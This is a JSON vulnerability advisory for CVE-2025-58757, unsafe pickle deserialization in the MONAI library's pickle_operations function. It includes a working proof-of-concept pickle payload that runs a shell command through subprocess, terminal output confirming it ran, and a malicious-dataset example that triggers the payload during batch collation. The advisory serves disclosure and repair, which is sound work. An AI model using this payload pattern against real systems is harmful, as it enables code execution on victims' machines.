CVE-2025-58757: Monai Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p8cm-mm2v-gwjm",
  "modified" : "2026-06-06T00:33:22Z",
  "published" : "2025-09-09T21:21:23Z",
  "aliases" : [ "CVE-2025-58757" ],
  "summary" : "Monai: Unsafe use of Pickle deserialization may lead to RCE",
  "details" : ">To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)\n\n### Summary\nThe ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.\n\nWhen verified using the following proof-of-concept, arbitrary code execution can occur.\n```\n#Poc\nfrom monai.data.utils import pickle_operations  \n\nimport pickle  \nimport subprocess  \n  \nclass MaliciousPayload:  \n    def __reduce__(self):    \n        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  \n  \nmalicious_data = pickle.dumps(MaliciousPayload())\n\nattack_data = {  \n    'image': 'normal_image_data',  \n    'label_transforms': malicious_data,  \n    'metadata_transforms': malicious_data  \n}\n\nresult = pickle_operations(attack_data, is_encode=False)  \n```\n\n```\n#My /tmp directory contents before running the POC\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nBefore running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.\n```\n#Running Poc\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid\n```\nThe above proof-of-concept is merely a validation of the vulnerability.\nThe attacker creates malicious dataset content.\n```\nmalicious_data = {\n  'image': normal_image_tensor,\n  'label': normal_label_tensor,\n  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload\n  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points\n}\n\ndataset = [malicious_data, ...]\n```\nWhen a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.\n```\nfrom monai.data import list_data_collate\n\ndataloader = DataLoader(\ndataset,\nbatch_size=4,\ncollate_fn=list_data_collate # Trigger the vulnerability\n)\n\n# Automatically execute malicious code while traversing the data\n\nfor batch in dataloader:\n\n# Malicious code is executed in pickle_operations\n\npass\n```\nWhen a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.\n\n### Impact\nArbitrary code execution\n\n### Repair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-p8cm-mm2v-gwjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58757"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/pull/8566"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-142.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-09T21:21:23Z",
    "nvd_published_at" : "2025-09-09T00:15:32Z"
  }
}